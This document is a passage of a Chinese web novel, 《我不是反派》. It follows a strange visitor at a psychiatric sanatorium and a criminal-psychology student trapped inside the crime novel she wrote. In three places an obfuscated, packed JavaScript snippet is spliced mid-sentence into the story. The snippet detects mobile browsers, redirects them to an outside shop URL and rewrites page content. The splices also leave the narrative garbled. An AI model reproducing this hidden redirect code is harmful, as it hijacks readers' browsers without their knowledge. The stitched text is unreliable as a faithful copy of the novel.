《我不是反派》 1. 序章 “澜州出了个天才?” “不,是个疯子。” 澜州维安疗养院公园里,一位年轻护士正以百米冲刺的速度追一个男人。 男人个子挺拔,头发乌黑,约莫三十来岁,手里拿着玩具水枪,一边乐呵呵滋水,一边大声嚷嚷:“拯救世界!打怪兽!” 护士边跑边喊,渐渐力竭降下速来,只好眼睁睁看着男人的背影越来越模糊。 完蛋!这下又要挨骂了。 护士刚喘口气打算最后冲刺一波,男人却回来了,身边还跟着一个人。 那人穿着一件皮衣,身形修长,眉骨高挺,眉宇间散发着淡淡的疏离感,嘴角却挂着一丝恰到好处的弧度。 “罗先生?”护士又惊又喜,总算松了一口气。 罗先生是维安的常客,也不知道为什么,这里的人都愿意听他的话。用白院长的话来说,罗先生哄各个年龄段的人都很有一套。 护士连忙道谢,感慨自己撞了大运,罗先生把玩具手枪递给她。 “刚刚不小心把它弄坏了,辛苦你处理一下,回头我送个新的过来。”罗先生冲她礼貌一笑,温柔又有点低沉的嗓音格外磨耳。 “好!没问题!”大概是站在太阳底下,护士的耳根有点发烫。 男人好像很害怕这个弄坏了武器的怪叔叔,一直低头搓着病号服,直到护士拉着他才迈开步子。 罗先生目送他们走出公园,转身往十号住院楼走去。 这里的病人男女老少,形形色色,唯一的共同点就是他们身体里都住着两个人,一个是他们自己,另一个也是他们自己。 只是三十多岁的人有一个五六岁的自己,安静内敛的人有一个活泼好动的自己,心向正义的人也有一个黑暗可怖的自己...... 谁都不知道他们的另一个自己会在什么时候出现。 525病房住着一位五十岁左右的男人,他穿着干净整洁的病号服,倚在窗边的沙发上,阳光正暖着他的每一寸肌肤。男人看上去很享受,全然没注意到出现在他身后的罗先生。 “我刚刚拿走了阿辉的水枪,等一下应该就不会下雨了,你可以继续晒太阳。”罗先生看着他的背影说。 男人顿了几秒转过身,他的长相堪称儒雅,全身散发着“腹有诗书气自华”的气质。 他朝罗先生轻微一笑表示感谢,缓缓开口:“或许下次可以给阿辉做一把喷雪枪,太阳雪......我还没见过。” “好。”罗先生脱口答应,“想要什么颜色的雪?” “红色吧。”男人顿了顿,“粉色的也行。” 罗先生点了点头,向他承诺三天后的下午两点会给他一场阳光下的漫天红雪,而后招招手往十一号楼走去。 罗先生在一楼大厅的自助售货机买了一袋奶糖,顺便给自己接了一杯速溶咖啡,十分自然地走向前台护士站。 维安的工作人员没一个不认识他,不过大家都很好奇这位优雅男子的身份,毕竟登记在册的病人里并没有他的关系人,可他却雷打不动三天一到访。 只是他每次都能巧妙避开这个话题,渐渐的也就没什么人问了。 他有一搭没一搭打听着最近院里的趣事,咖啡喝完,他把空杯轻轻塞进旁边的垃圾桶,向护士们挥了挥手,乘电梯上九楼。 病房里的短发小姑娘正靠在床头翻漫画书,或许是看得太过入迷没有听见敲门声,等她抬起头的时候,一袋草莓味的奶糖盖住她的视线。 “哇!谢谢罗叔叔!”宁宁迫不及待撕开包装袋,抓了一把塞进床头柜的抽屉,掂了掂剩下大半袋的重量,笑着看向罗先生,“等一下我拿去给小鑫,他今天要吃好多药。” 罗先生的眉头蹙了一下,温柔地拿过糖袋:“这是叔叔给宁宁的,叔叔会再买一袋给小鑫。” 宁宁听到后笑得更甜了,一颗接着一颗往嘴里塞,腮帮鼓到极限再也塞不进去才停下,含糊不清地说了句“真好吃”。 罗先生一脸欣慰地拿起床头的漫画,画风诡异,内容血腥,这个十二岁的小姑娘却看得津津有味。好比她现在细细品味着草莓味的奶糖。 “罗先生,你今天来得有点晚啊!” 罗先生闻声抬头,白院长正双手插兜款款走来。 罗先生轻扯嘴角放下漫画书,跟着白院长走出病房。 “宁宁的状况很稳定,从她来到这里就没再发过病。”白院长示意路过的护士去为等一下的治疗做准备,继续看着面无表情的罗先生,“目前来看,这个治疗方法的效果是最好的。” 一个原先活泼开朗的小姑娘变得不爱说话,喜欢看恐怖漫画,还失去了味觉。 罗先生发出一声冷笑。 白院长无奈叹了口气,抬手轻扶无边眼镜:“有得必有失,罗先生,这一点你应该比我更清楚。” “我不清楚。”罗先生懒洋洋回道,漫不经心地拍了拍白院长的肩膀,“我只知道今天速溶咖啡的味道又变差了。” 白院长似乎没反应过来,在罗先生意味不明的眼神中顿了好一会,微笑道:“明天陈总要过来和我商量扩建十二号住院楼的事,要不我顺便再提一提咖啡机?” “再顺便把售货机里的奶糖都撤了,换成巧克力。” 白院长一时无言,三天前他刚按照罗先生的吩咐把巧克力换成了草莓味的奶糖,如今又要? 虽然他这个怪人对付病人确实游刃有余,可架不住他比病人还怪,搞得白院长还要为七零八落无关紧要的小碎事操心。 但他又偏偏少不了他的助力。 白院长试探道:“要不......换成巧克力味的奶糖?” 罗先生闻言色变。 他嘴角的那抹弧度一旦消散,眼里就只剩下锋锐,让人后背发凉。 白院长还是不吃教训,总是忘记这位心比天高的罗先生只长了一张给别人下命令的嘴,却没有长听别人建议的耳。 为了维持表面友好关系,白院长连忙改口,只是话音未落,罗先生就头也不回地走了。 十一号楼住的都是小孩,最大的也就十五岁,他们似乎习惯了自娱自乐,这里的走廊和病房都安静得可怕。 电梯门一开,一对双胞胎姐妹抬头笑了一下,罗先生点头回应,等电梯门关上后走楼梯到八楼。 刚走出安全通道口,他就撞上了那对双胞胎。 妹妹:“你为什么不和我们一起下来?” 姐姐:“是怕电梯超载吗?” 罗先生蹲下身和她们平视:“因为叔叔不想打扰你们。” 姐姐:“哦,原来是怕我们呀!” 妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545236|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“叔叔真胆小。” 罗先生面带微笑,望着她们跑向电梯口。 818病房,乔护士连打三个哈欠,总算等到小鑫吞下最后一粒胶囊,言出必行把从护士长那里薅来的甜牛奶递给他,草草在记录本上写下几笔。 随后她一边倒退着走出病房,一边教小鑫怎么正确插吸管,结果一个不注意撞上了罗先生。 乔护士的困意瞬间消散,没来得及开口道谦就被罗先生按住肩膀,等回过神来房门已经被关上了。 “小鑫怎么样?”罗先生问道。 乔护士手忙脚乱翻开记录本:“三……三号药已经给他吃了,一号二号都对他没什么效果,不知道这次......” 罗先生忽地弯腰,直直勾着乔护士的眼神:“你紧张什么?” 乔护士刚来这里工作不久,这是她第三次见到罗先生,对于这样一位同事口中的奇人,她却莫名感到恐惧,一种生理和心理双重压迫的恐惧。 第一次见面她就有这种感觉,所以第二次她刻意回避了他的视线。只是不知道为什么,那天晚上她就从七号楼调到了十一号楼。 管小孩,她最头疼了。可这号楼的工资却直接翻倍。 “没......没有。”乔护士微低着头,视线还落在记事本上。 “你的字真好看。”罗先生忽然话锋一转,“会画画吗?” 乔护士摇头,下一秒记事本就被夺走。她仍旧不敢看他,只好等在原地听着翻页的声音。 “有空的话可以去尝试一下画画,我觉得你应该很有天赋。”罗先生将记事本放回乔护士手中,“要是不想尝试,就把记录写完整。” “对......对不起!我错了!对不起罗先生,我再也不偷懒了,我......” 她抬起头,却只看到罗先生慢慢走远的背影,手中的记事本不知道什么时候被撕下一页。 白天打工人,晚上加班魂,下午又经历了堪称惊心动魄的一遭,乔护士的心情属实说不上好。不过至少过了今天,她这份工作就算保住了。 虽然没有和上大学时想的那样成为和死神抢人的英雄,可实在架不住高工资高保障,能进维安也是相当不错了。或许再过两年,她就不用挤在这片连路灯都奢侈的贫民窟了。 “救命!救命啊!” 乔护士猛地一顿,手里的铁板炒饭差点喂水泥地。愣神的十几秒里,岔路口前的三个身影跑了一个、倒了一个,剩下的一个扑在倒下的人身上不知道在干什么。 理智告诉她,得跑,得马上跑。 “喂!你!” 那人突然注意到不远处有个大活人,扯着嗓子走过来。 乔护士下意识甩起炒饭向他砸去,扑鼻的香气中,那人加快脚步。 这个地方本来就七弯八绕,又是在全凭月光照明的情况下,乔护士竭尽所能也只是被那人逼到角落,顺便喜提一副喊哑的嗓子和一张挂着泪痕的脸。 “你......你要干什么?别过来!别过来!”她现在万分后悔没在包包里塞个防狼喷雾报警器外加强光小手电。 能丢的东西都丢了,她也真的无路可退了。 听天由命吧。 距离仅剩几步的时候,她绝望地闭上眼睛。 “报警,我刚刚杀人了。” 2. 我是凶手(一) 咖啡香气氤氲,缭绕在顾霁禾鼻尖。今天的味道怎么有点奇怪? 她没心力多想,换了个方向继续趴在桌上。虽然闭着眼睛,脑子里却清晰地放映着受害人濒死的画面。 下一个,该让他怎么死呢? 砰砰砰—— 顾霁禾眉头紧锁,她看到凶手在疯狂拍门,只差一点,差一点受害人就能逃出去! 他为什么不敢跳呢? 三楼跳下去不一定死,被门外的疯子抓住一定会死! 咚咚咚—— 奇怪,凶手的节奏怎么慢下来了?不对呀,他应该一脚把门踹开,挥出西瓜刀,把受害人逼到角落,在一声声哀嚎中结束他们痛苦的一生...... 笃笃笃—— 顾霁禾猛地抬头,撞上一张冷白如玉的面孔。 此时她脑子里的画面还没褪去,又被这一张陌生的脸冲刷了视网膜,身体比嘴先反应过来,两腿一蹬倏地跃起,椅子跟着连退三步。 年轻人的眉头蹙了一下,眉宇间的英气霎时变了味,连带着审视的目光也淡了几分。 这家伙谁啊? 这什么地方? 顾霁禾记得,刚刚她一直在为自己写的最后一个案子烦恼,杀人动机太扯,关键性证据太容易找到,岂不是白白便宜了队长周烬川? 而且最后的光环她可不想直接套给主角,让新上任的女警宋林汐开大一波简直爽翻! 只是脑力榨干后困意便涌了上来,她就想小睡一下,谁知道一闭上眼睛就开始疯狂构思案发现场...... 脑子,你不想休息我想。 可现在是什么情况? “周队!”忽然间,一道活力四射的女声灌入耳中,“人带来了!” 顾霁禾来不及思考,视线便循着声音迎上一张面色红润的圆脸。 她的目光和顾霁禾相撞,一丝讶异过后,她莞尔一笑:“你就是顾老师吧?你好你好!我叫宋林汐,以后就是同事了,请多多指教!” 宋......宋林汐? “报道第一天就被委以重任,顾姐姐,真是辛苦你了。”宋林汐的声音温暖有力,听起来十分舒服,“不过没关系,有周队在,你一定能很快适应,加油!” 顾霁禾只觉手掌被一股暖意包围,随后那道人影又脚步带风似的远去了。 “把咖啡喝了。”一只骨节分明的手把咖啡杯推进她的视线,“跟我去审苏强。” 顾霁禾仍旧在状况之外,直到她扫到桌面一沓文件上印着的“澜州市特侦队”六个大字,她的大脑神经才通上电。 “你是周烬川?”她不可思议喊出声。 周烬川用略带疑惑的目光扫着她:“赵局没和你沟通过吗?” “队长周烬川,副队长沈峋,法医许清宴,刑警宋林汐……”顾霁禾似乎是在自言自语,不过每个字都清晰落入周烬川耳中。 “看来已经沟通过了。”周烬川重新打量了她一番,“那我们就不要浪费时间了。” ? 穿进自己写的小说中,自己创造的男主就站在自己面前是什么体验? 顾霁禾只觉脑子嗡嗡作响,全身血液止不住地翻涌。 “等一下,周......周队?”顾霁禾试探性开口,“那个苏强……是抢劫杀人吗?” 周烬川好整以暇地看着她,顿了几秒说:“他已经认罪了,但和他一起犯案的弟弟苏刚仍旧在逃,请你过来就是想让你问出有关苏刚的信息。” 果然和开篇情节一模一样。可她怎么会出现在这里?小说里根本没有她这一号人物啊! “请……请我过来?”顾霁禾小心翼翼地问道。 周烬川深邃的眼眸里溢出些许不耐烦:“市局向来和澜州公大有密切合作,犯罪心理学研究生借调实习是很正常的事,这个名额不应该是你自己申请的吗?” 她是,她确实是某公大的犯罪心理学研究生,可不是澜州的啊!澜州是什么地方?她随笔一编的地方。 “抓紧时间。”周烬川语气冰冷,带着命令的口吻。 “……” 她自己设计出来的案子怎么可能会不知道凶手呢?别到时候所谓的系统指派任务就是让她勘破所有案件才能重返现实,那不是纯考验记忆吗? 看守所接待室,苏强正一脸不耐烦地坐着。 顾霁禾记得对于他的着墨不多,因为这起案子的真凶根本不是他。 “警官。”苏强声音沙哑地开口,抬眸时才发现身后的顾霁禾,用略带惊讶的目光扫了她一眼,随后又紧巴巴地盯着周烬川,“你到底还要折腾我多久?让我老老实实坐牢不好吗?” 周烬川侧过身向顾霁禾递了个眼色,她跟着他在苏强对面坐下。 “虽然凶器上只有你的指纹,现场抓获的也只有你一个人,可抢劫这件事是你和苏刚一起做的。目击者称,在王明艳倒下的那一刻,你弟弟跑了。”周烬川面无表情地看着苏强,“凶犯之一尚未落网,你的老实日子恐怕还来不了。” 苏强三十六岁,冷光下眼尾的皱纹分外明显,似乎是碾着前半生的蹉跎岁月生生烙下来的。 “我都说了好几遍了。”苏强往后一靠,像背台词般懒洋洋地复述,“是那女的先拿出刀,我没想伤她。” “抢劫这事我老干,拿钱就走从来不动人,谁想到那女的非要和我拼命。刚子胆小,一见着血就跑了,我哪知道他跑哪去了?” “不是你做的。”没等周烬川接话,顾霁禾忽地开口。 苏强被吓了一小跳,这个看上去文文弱弱的短发小姑娘,说出这句话的时候却仿佛自带一股掌控全局的气场。 顾霁禾往前一倾,一脸认真道:“王明艳根本不是你杀的,动刀的人是你弟弟,你在替他顶罪。” 没等苏强反驳,顾霁禾接着说:“抢劫的时候为了避免留下指纹,你和苏刚都是戴着手套的,所以王明艳衣服上、包上都没有你们的指纹,可偏偏那把刀的刀柄上清清楚楚留下了你的指纹——” “因为那是在你弟弟戴着手套刺伤他后,你自己握上去的。” “至于原因。”顾霁禾丝毫没有给他反驳的机会,“你弟弟苏刚,是ASDD患者。” “你们兄弟俩从小父母双亡,又因为你弟弟的病受尽欺负,你好不容易有了一个心爱的姑娘,如果不替你弟弟顶罪,他病发起来不知道会做什么,偏偏像他这样的人,做什么都能以这个病为由轻易揭过。” 顾霁禾的声音很冷,和她安静的时候有些温和的长相全然不符,尤其是最后一句话,让旁边站着的刑警都变了脸色。 苏强怔在椅子上,忽地发出一声嗤笑:“警官,你从哪找来的小丫头?编故事骗人的胆子倒不小,可要编之前也得先打个草稿吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545237|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顾霁禾轻微一惊,这走向不对啊!苏强听到这些话后应该是崩溃的,怎么? “把他带回去。”周烬川阴着脸对一旁的刑警说。 临走之际,苏强玩味的笑还在顾霁禾脸上叮了一下。 周烬川面沉似水地扭过头:“顾霁禾,毫无根据的诈供,这就是你的专业水平?” 什么诈供?什么专业水平?她的专业水平就是胡编乱造…… “我……我又不会审讯。”顾霁禾半晌才憋出一句。 周烬川别过脸:“出来。” 顾霁禾完全没想通到底是怎么一回事,只好莫名其妙跟在周烬川身后。 “烬川,怎么一大早就把人带去审讯了?”一回到特侦部,沈峋就面带笑意迎过来,“别见怪,他就是这样,一点都不懂得照顾新同事。” “沈队,不带这样的,当初我来的时候怎么没听你说这句话啊?” “还挺记仇。”沈峋看向宋林汐,“那我现在补上可以吗?” “为时已晚!” 沈峋平易近人的笑意顿时抚慰了顾霁禾受伤的心灵。 周烬川丝毫没有被这样活跃的气氛影响,板着脸沉声开口:“你们两个,把苏强案的信息完整告诉她,再好好教教她审讯的规矩。” 话音一落,他头也不回地走进队长办公室。 共事多年,沈峋立刻察觉到周烬川的异样,缓声开口:“顾……霁禾是吧?名字真好听。别站着了,林汐,你也过来。” 宋林汐听到后连忙拿着资料小跑过来,拉着顾霁禾坐下:“顾姐姐你别见怪,周队就是看上去吓人。” 顾霁禾当然不会见怪,她自己立的人设她会不清楚吗?她只是想不通苏强为什么会有截然不同的反应。 剧情卡bug了? “宋……”顾霁禾吐出一个姓,叫自己编出来的人名实在奇怪。 宋林汐停下翻阅的动作冲她一笑,她的笑容很温暖,和端正的五官融合得恰到好处。面对这样一副甜美灵动的笑容,任谁都没有招架之力。 “林汐。”顾霁禾努力使脸部肌肉放松,“苏刚难道不是ASDD患者吗?” 宋林汐轻微一顿,有些为难地看向沈峋。 特侦队是一个特殊的存在,如果不是案子牵扯到特殊人群,特侦队不会轻易介入。 “苏强和苏刚一直相依为命,社会关系特别简单,没有朋友和其他亲人。”沈峋看着顾霁禾缓缓道,“ASDD患者病发的时候判若两人,只有亲近的人才能感受到,而苏强并没有承认。” “只是在前几次抢劫中,有三个受害人都声称,他们在企图反抗的时候被苏刚暴力威胁过。” “他们还真有本事,东躲西藏的一直没有被抓获,这次却闹出了人命。”宋林汐将手里的资料拍在桌上,“虽然有目击者,可惜天太黑,她没有看清是谁动的手。” “不过奇怪的是,后来是苏强主动让她报案,这种自首的方式我还是第一次遇到。” 听起来他们都对凶手是苏强持怀疑态度。顾霁禾瞥了一眼记录,发现关系人一栏空着。 这不对啊!苏强分明有一个女朋友,而且两人已经到了快步入婚姻的阶段。 难道后来被她删了? 队长办公室的门突然打开,周烬川大步流星走出来:“朝南区发生命案,在受害人家里发现了归识。” 3. 我是凶手(二) 第二个案子这么快就来了? 顾霁禾刚想吐出一个字,皮鞋踱地的声音由远及近,沈峋和宋林汐连忙转身,满脸严肃迎着从门口进来的人。 澜州市局的一把手赵远赵局长是个不苟言笑的老干部,在技侦尚未萌芽的年代,他愣是凭着一双手和一个头脑破获无数大案。如今虽然已经年过半百,但除了两鬓有些白,身姿挺拔得简直能和三十来岁的小年轻媲美。 赵局生性不爱笑,顶着一双生来就适合审讯的眼睛,配合着些许犀利的五官,一般嫌疑人见到就会被这气势镇住。不过平时开起口来却是一副慈父的模样。 “都在呢。”赵远的声音丝毫不沉,目光扫过顾霁禾时轻微一顿,“还习惯吗?” 顾霁禾还沉浸在自己对这位老局长的描绘中,直到一旁的宋林汐戳了戳她的胳膊肘,她才反应过来:“习惯,赵局好。” 赵远冲她点点头,转而看向不远处的周烬川:“朝南区那个案子有点棘手,你们抓紧去一趟吧。”赵远说着又将目光落回顾霁禾身上。 “她也去。”周烬川不容置喙地和顾霁禾擦身而过,脚步不停,“跟上。” 赵远无言地摆了摆手,下一秒,顾霁禾就被一左一右两道安抚的声音推上警车。 朝南区左花街一片上了年岁的公寓楼门前已经停着好几辆警车,还有两个分局的刑警在和物业交涉。 这里的地段还算不错,离商业街不远,交通也方便,就是房子年久,也不知道为什么一直不翻修,一大家子人挤着住总归欠缺了点,如果是上了年纪的老人或者独居人士就很舒坦了。 沈峋一下车就小跑向那两个刑警,笑眯眯打了声招呼,十分顺利得到案发现场实录。 “那个就是报案人。”沈峋点了点在不远处做笔录的男人,“死者叫毕成,独居,和他是牌友。本来今天约好要一起打牌,结果拍半天门没人应,打电话也没人接,他觉得不对劲才叫了物业。” 周烬川看了一眼那个男人,走进公寓楼。 沈峋转身凑到顾霁禾身边:“霁禾,第一次出现场吧?别紧张,一会要是实在不行就让林汐先带你回去。” “沈队,又小瞧人了吧?”宋林汐叹了口气,“顾姐姐,沈队哪都好,就是有时候考虑得太周到。我刚来那会,一模一样的话她也对我说过,就是不知道许姐姐刚来那会……” “诶,快跟上,烬川都进去了。”沈峋一个箭步窜进414。 顾霁禾暗自一笑。 毕成? 要是没记错的话,他应该是被他的亲生儿子给杀死的。动机是—— 儿子行将踏入社会成为业界精英,绝不能让人家诟病自己有一个品行不端的亲爸。毕竟毕成对他来说只是提供了一个小蝌蚪。 尸体横在客厅,毕成的左脸,从眉毛到鼻尖有一道可怖的伤疤,生生剜去了左眼。他的脖颈处有一道深紫发黑的痕迹。 “死亡时间大概在昨天晚上十点到十二点之间。”全副武装的法医许清宴蹲在尸体旁说,“机械性窒息,被勒死的。” “被勒死的?”毫无征兆的,顾霁禾喊出了声。 原本以为这个初出校园初入现场的实习生多少会抗拒、逃避,甚至严重点可能还会大吐特吐…… 没想到她倒是冷静,但这没由来的一嗓子反倒叫人不淡定了。 许清宴知道今天会入职一个实习生,只是没想到她一上来似乎就对自己的勘察结果有疑问,于是略显冰冷的目光穿透护目镜投到顾霁禾身上:“有什么问题吗?” “没问题。”顾霁禾连忙摆手。 沈峋和宋林汐在屋里一通搜寻的时候,顾霁禾脑子里已经卷起风暴—— 问题可大了! 她写的明明是毕成被推倒,后脑勺撞到茶几失血过多而死,从哪里冒出来个勒死? “周队,死者房间的保险柜被撬开了。”一个刑警的声音从卧室传来。 “周队,没有发现死者的手机和钱包。”另一个刑警的声音紧接着传来。 沈峋从卧室出来,把手里的物证袋递给周烬川,里头装着一个深蓝色药瓶:“从死者一件外套口袋里发现的。” 瓶身光泽暗沉,瓶口封膜完好,上面印着一朵墨色蔷薇。看上去像是被精心保存了很多年。 顾霁禾把记忆里为数不多对这个房间的描写和现场环境一点点对号入座—— 茶几边缘的血迹——没有! 地板上的血迹——没有! 毕成倒下后踹歪的沙发——正得不能再正了! 杀人犯慌乱跑走时撞倒的门口的衣架——好好地立着! “让一让,小心!” 顾霁禾闪避不及撞到衣架上,刺骨的疼痛瞬间袭来。 “顾霁禾。”周烬川阴着脸开口,“不要乱动。” 一时之间,顾霁禾满格的WLAN信号突然中断,大脑自动把外界信息屏蔽,也不知道被谁拽到角落。 地板上一团泛黄的污渍似乎跳脱出来,在她失焦的眼神下翩翩起舞。 嘭—— 她拍了下自己的头,不过这点动静全然淹没在忙碌声中,更没有人注意到她近乎失去血色的脸。 苏强就算了,怎么连毕成也? “周队,这家里一点值钱的东西都没留下,会不会是入室盗窃被发现,然后杀人灭口啊?”宋林汐把一室一厅的角角落落翻了个遍,毫无收获后得出结论。 “如果是这样,那个小偷的心还挺大。”沈峋从矮柜里翻出几套扑克,“除非他根本不知道价值连城的归识。” 宋林汐听到后愣了一下。 那几乎是不可能的。 三十多年前,拮抗共生解离症被专业协会专项收入,确诊的人存在明确可区分的主格和副格,两者的认知和行为模式呈现极端对立,且副格无一例外具有攻击性和极端暴力行为。 后来在澜州,有人开始秘密贩卖特效药归识,高价的三无产品却在刚抛出风声时就被一抢而空。 随着归识出现,全国各地想做黑心生意的正常人、疑似ASDD患者都涌入澜州,让这座原本无人在意的小城市瞬间成为焦点。 沈峋站起身环顾一圈,才发现角落里脸色发白的顾霁禾:“你没事吧?要不先回去?” “没事。”顾霁禾忽地抬头,重新聚焦的目光掠过沈峋,落到蹲在茶几旁的周烬川身上,“周队,凶手应该和死者认识,也许关系还不一般,比如家人。” 这句话像一个消音器,瞬间抹掉了屋里的嘈杂。 周烬川戴着手套的食指顿在茶几上,头也不抬地问:“发现什么了?” 顾霁禾微愣,视线顺着他的手一顿——木质茶几表面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545238|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有浅淡的凹陷压痕。 “周队,向报案人确认过了。”一个刑警从门口进来,“三天前的下午,死者和他在这里打过牌,到了饭点才散。死者很爱喝茶,尤其是打牌的时候都要沏一壶红茶。报案人记得很清楚,那个时候茶具很齐全。” 垃圾桶里没有碎片,屋里别的地方也没有发现,消失的茶壶和茶杯,恐怕是凶手给它们安上了翅膀。 不过比起这个信息带来的冲击,顾霁禾的话显然更胜一筹。 沈峋蹙眉看着她:“你为什么会这么认为?” 目前为止,死者的身份虽然已经确认,可他的关系网尚未查明,这番无中生有的论断属实站不住脚。 然而顾霁禾却一直盯着茶几。 情节乱套了!根本没有茶具消失这回事,也没有周烬川对这个细节起疑的环节。喜欢喝茶?自由发挥的爱好? “顾姐姐?”宋林汐拍了拍她的肩膀。 顾霁禾瞬间回魂:“我……我猜的。” “毫无根据的事,你还想来第二遍?”周烬川直起身冷冷看着她。 顾霁禾总算体会到有口难言的滋味,迎着周烬川近乎逼问的眼神,硬着头皮说:“我没办法解释,你们可以去查。” 两个人的目光隔着半个屋子撞在一起,无声的气波莫名镇住了搜查人员。 “其他人继续,沈峋跟我去找报案人,宋林汐把她带回去。”周烬川脱下手套,撂下一句话走出现场。 接住沈峋的无声安慰,顾霁禾内心交集的百感快进化成千感万感了。 这到底是什么情况? 怎么也没有系统来cue一下任务? 总不会得陪着他们跑完整个剧情才能回去吧? 可是她的结局还没写啊! 更重要的是,人头能对上,时间能对上,情节完全对不上! 她这个身份是什么鬼?是好是坏?有没有金手指?不会嘎嘣在某个她自己创造出来的凶手刀下吧? 不要啊!她第二版论文才刚被导师打回来,她可不想延毕啊! “顾姐姐!”警车里,宋林汐看着一直发愣盯着窗外的顾霁禾忍不住喊了一声,“你真的没事吗?” 顾霁禾平复完心情,努力挤出一丝微笑:“没事,就是第一次出现场,不太习惯。” 第一次和纸片人共事,任谁也习惯不了。 “嗐,你多来几次就习惯了。”宋林汐展颜,随后又拧起眉头,“不过你下次可千万不能只说猜测了。” 这怎么能算猜测呢?要想高效率破案,就得直接问罪犯……这么说好像不太对劲。 顾霁禾忽然意识到一个世纪大问题——她在这个世界的身份是真真切切存在的,澜州公大的研究生,澜州市特侦队的实习生。 还有别的吗? 她在这里,有家人吗?有朋友吗? 宋林汐似乎已经习惯了顾霁禾的超绝钝感力,也不再叫她。没过多久车就停下了,两人并肩走进市局。 “霁禾!”一进特侦部,一道女声随风撞上顾霁禾的脑门,紧接着一张熟悉的面孔迎上来,“第一天上班感觉怎么样?听说你刚刚去现场了,没被吓到吧?” 一时之间,顾霁禾只觉自己的心跳声盖过了耳畔所有动静,恐慌和委屈在眼眶里打转。 下一秒,她扑进那个人怀里。 4. 我是凶手(三) 毕成的牌友肖明海和他住在同一个小区,隔了两栋楼,子女不在身边,老俩口靠着退休金和每个月按时到账的生活费,小日子倒也悠哉。 家里一下子来了两个警察,老俩口都特别不自在,小心翼翼端坐在沙发上,好像他们犯了什么事似的。 “你们不用紧张。”沈峋缓缓开口,严肃和温和在他的眼神里融得恰到好处,“我们过来是想请教一下有关毕成的事。” 女人瞥了一眼肖明海,脸上飞快地掠过一丝惶恐。这个细节被对面的周烬川和沈峋尽收眼底。 “放轻松,我们只是想来了解一下毕成和你们的关系。”沈峋的声音很干净,是那种徐徐道来的干净,足以让揪着心的老俩口稍稍放松些。 “警察同志,我去给你们倒杯水。”女人勉强挤出一个笑脸,撑着沙发往厨房挪去。 她走起路来有点瘸。 沈峋瞥了一眼,没多问,开门见山道:“你和毕成的关系怎么样?” 肖明海长着一双鹰眼,虽然已经上了年纪,眼神依旧有几分犀利。 “一般般,我们没认识多久,就是打牌会去找他。”他的声音有些沉,仿佛是忙着撇清关系,又加了句,“平常和他见不着。” “三天前刚打过牌,今天又上门,关系应该很不错。”沈峋浅浅挂着一丝笑。 肖明海似乎有些不耐烦:“打牌讲的是手感,时间一长就没感觉了。诶,我们可没赌啊!” 沈峋点点头予以回应。 这个恨不能把“开门送客”写在脸上的肖明海,似乎从他们进门开始就一直提着口气。 “打牌的时候也会唠嗑吧?”沈峋看着他的眼睛问,“都唠什么呢?” 啪嚓—— 厨房突然传来玻璃杯摔碎的声音,紧接着是女人极快的一声低吟……或者说是低喊。 “你怎么回事?倒个水都倒不好!”肖明海瞪了一眼搀着桌子艰难下蹲的背影,怒道。 沈峋刚想起身,周烬川按住他的肩膀走向厨房。 那个女人的怯懦是很明显烙在脸上的,不仅仅是面对警察,更多的还是对肖明海那双犀利的鹰眼。 沈峋无声地叹了口气,继而把话题转回毕成:“22号下午除了打牌,你们还做了什么?” 另一边,被顾霁禾一个熊抱差点勒得喘不过气来的陈渡艰难地吐出她的名字。 顾霁禾当没听见似的锁着她的肩膀,直到被眼神求救多次的宋林汐实在看不下去,硬生生把这对“连体婴儿”给掰开。 陈渡长舒一口气,皱眉道:“不至于吧?当初是谁争着抢着要来的?” 顾霁禾目光灼灼地盯着她。 她可从来没想过会到这个地方来。 陈渡是她在现实世界唯一的朋友,两个人手拉手跑过中学大学的马拉松,成为彼此的情绪垃圾桶以及最硬的靠山。 可是……她不应该出现在这里。 顾霁禾的剧情里根本没有她。 不过比起震惊,此刻顾霁禾悬着的心总算放了一半,至少在这个鬼地方,她是有依靠的,她不是孤独的。 “你怎么会来这里?”尽管如此,顾霁禾还是一脸担忧地望着她。 “你怎么了?我来帮导师送资料啊,我昨天晚上不是……”陈渡说着一拍脑门,“差点忘了,你那个破手机是彻底修不好了,等下班了我给你重新买一个!” 手机?是啊,顾霁禾一开始完全懵圈了,丝毫没考虑到这个人类的贴身伴侣。 “不跟你说了,我得赶紧回去了。”陈渡这才把手里提着的一大袋咖啡放到最近的桌子上,冲旁边的宋林汐一笑,“那个……” 出于礼貌,不明所以的宋林汐还是做了自我介绍。 陈渡连忙迎上去握住她的手,开启她的一分钟自来熟模式,离开前还不忘给顾霁禾加油鼓气了一番。 目送完她的背影,顾霁禾回头瞥了一眼好奇心满溢的宋林汐,解释几句后就伸手去拆包装袋。 